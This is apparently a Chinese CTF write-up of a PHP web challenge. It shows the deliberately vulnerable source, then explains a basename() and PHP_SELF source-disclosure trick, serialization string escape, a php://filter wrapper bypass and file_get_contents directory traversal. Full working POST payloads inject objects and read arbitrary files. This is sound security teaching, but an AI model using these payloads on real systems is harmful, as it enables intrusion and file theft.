index.php
include 'tm.php'; // Next step in tm.php
if (preg_match('/tm\.php\/*$/i', $_SERVER['PHP_SELF']))
{
exit("no way!");
}
if (isset($_GET['source']))
{
$path = basename($_SERVER['PHP_SELF']);
if (!preg_match('/tm.php$/', $path) && !preg_match('/index.php$/', $path))
{
exit("nonono!");
}
highlight_file($path);
exit();
}
basename
函数漏洞:
在使用默认语言环境设置时,basename() 会删除文件名开头的非 ASCII 字符。
例如:
$path1="/www/%ffindex.php";
echo basename($path1)."<br />";
//output: index.php
$path2="/www/index.php%ff";
echo basename($path2)."<br />";
//output: index.php
$path3="/www/index.php/%ff";
echo basename($path3)."<br />";
//output: index.php
$path4="/www/index.php/+";
echo basename($path4)."<br />";
//output: +
Apeach解析问题
这个问题不会出现在Nginx(1.15.11)上,我测试了Apeach(2.4.39),$_SERVER['PHP_SELF']
中的值取决于url。
测试代码:
//test.php
echo $_SERVER['PHP_SELF'];
- 访问
http://127.0.0.1/test.php
- Output: test.php
- 访问
http://127.0.0.1/test.php/flag.php
- Output: test.php/flag.php
- 访问
http://127.0.0.1/test.php/flag.php?source
- Output: test.php/flag.php
这个特性保证了我们正常访问了test.php
也能操作$_SERVER['PHP_SELF']
的值。这使得在这个题中我们可以改变highlight_file()
的文件,实现SSRF。
我们可以这样利用:
//$_SERVER['PHP_SELF']="flag.php/%ff"
$path=$_SERVER['PHP_SELF'];
//限制不能以flag.php结尾
if (preg_match('/flag\.php\/*$/i', $path))
{
exit("die");
}
echo basename($path);
//output: flag.php
payload:/index.php/tm.php/%ff?source
tm.php
highlight_file(__FILE__);
class UserAccount
{
protected $username;
protected $password;
public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
}
function object_sleep($str)
{
$ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', $str);
return $ob;
}
function object_weakup($ob)
{
$r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob);
return $r;
}
class order
{
public $f;
public $hint;
public function __construct($hint, $f)
{
$this->f = $f;
$this->hint = $hint;
}
public function __wakeup()
{
//something in hint.php
if ($this->hint != "pass" || $this->f != "pass") {
$this->hint = "pass";
$this->f = "pass";
}
}
public function __destruct()
{
if (filter_var($this->hint, FILTER_VALIDATE_URL))
{
$r = parse_url($this->hint);
if (!empty($this->f)) {
if (strpos($this->f, "try") !== false && strpos($this->f, "pass") !== false) {
@include($this->f . '.php');
} else {
die("try again!");
}
if (preg_match('/prankhub$/', $r['host'])) {
@$out = file_get_contents($this->hint);
echo $out;
} else {
die("error");
}
} else {
die("try it!");
}
}
else
{
echo "Invalid URL";
}
}
}
$username = $_POST['username'];
$password = $_POST['password'];
$user = serialize(new UserAccount($username, $password));
unserialize(object_weakup(object_sleep($user)))
这是一道考察PHP反序列化逃逸与PHP伪协议的题目。
考点一:PHP反序列化逃逸
这是经典的变短逃逸,我们注意到在序列化字符串被转换时,由三个字符转变为了七个字符,我们可以利用这个特点进行字符串逃逸。
考点二:PHP伪协议绕过
include函数中含有可变参数,但是这个参数有strpos函数进行合法性检验,很明显第一个解题点的思路就是绕过检验然后使用php伪协议进行文件读取,通过注释我们可以知道我们的目标文件。
所以我们这里要利用到PHP伪协议的一个特性,PHP伪协议中出现未知的协议键时会自动将其忽略,这样我们就可以绕过检验,然后使用php://filter
读取hint.php的内容。
构造payload1:获取hint.php
payload:username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:8:"password";O:5:"order":3:{s:1:"f";s:56:"php://filter/convert.base64-encode/trypass/resource%3dhint";s:4:"hint";s:20:"http://www.baidu.com";}}
注:使用%00来代替空字符
正常反序列化之后的字符串为O:11:"UserAccount":2:{s:11:"%00*%00username";s:5:"admin";s:11:"%00*%00password";s:6:"123456";}
我们向username传入@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@
,向password传入";s:8:"password";O:5:"order":3:{s:1:"f";s:56:"php://filter/convert.base64-encode/trypass/resource%3dhint";s:4:"hint";s:20:"http://www.baidu.com";}}
,这样生成的反序列化字符串为:(使用便于观察的格式)
O:11:"UserAccount":2:
{
s:11:"%00*%00username";
s:49:"@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@";
s:11:"%00*%00password";
s:147:"";s:8:"password";O:5:"order":3:{s:1:"f";s:56:"php://filter/convert.base64-encode/trypass/resource%3dhint";s:4:"hint";s:20:"http://www.baidu.com";}}";
}
转换之后:
O:11:"UserAccount":2:
{
s:11:"%00*%00username";
s:49:"%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00";s:11:"%00*%00password";s:147:"";
s:8:"password";
O:5:"order":3:
{
s:1:"f";
s:56:"php://filter/convert.base64-encode/trypass/resource=hint";
s:4:"hint";
s:20:"http://www.baidu.com";
}
}";}
由于username中内容缩短导致";s:11:"%00*%00password";s:147:"
这段内容被吞进username中,导致后面的order类逃逸出来进行反序列化。
获得的内容:PD9waHANCmVjaG8gIlRoaXMgaXMgdGhlIHdyb25nIHdheSI7CiRmbGFnID0gInlvdSBjYW4gZmluZCBpdCBpbiAvZjExMTE0NDQ0NDk5OTkudHh0IjsNCj8+
将hint中赋值一个正常的url链接通过filter_var
函数,然后使用base64编码读取hint.php
内容。
hint.php
echo "This is the wrong way";
$flag = "you can find it in /f1111444449999.txt";
可见我们直接访问hint.php
无法得到flag位置,现在我们知道flag位于根目录,利用另一个特性进行读取。
考点三:获取flag
file_get_contents
函数,它可以将一个整个文件读入一个字符串,在SSRF漏洞中有不少它的身影,这里利用到它的一个特性:当它遇到不认识的协议时会将此字符串当做文件路径处理,也就是将协议键视为一个文件夹来处理,这样就会导致我们只要不断的访问上级文件夹就能造成目录穿越。
构造payload2:读取flag
payload:username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:8:"password";O:5:"order":3:{s:1:"f";s:56:"php://filter/convert.base64-encode/trypass/resource%3dhint";s:4:"hint";s:60:"abc://prankhub/../../../../../../../../../f1111444449999.txt";}}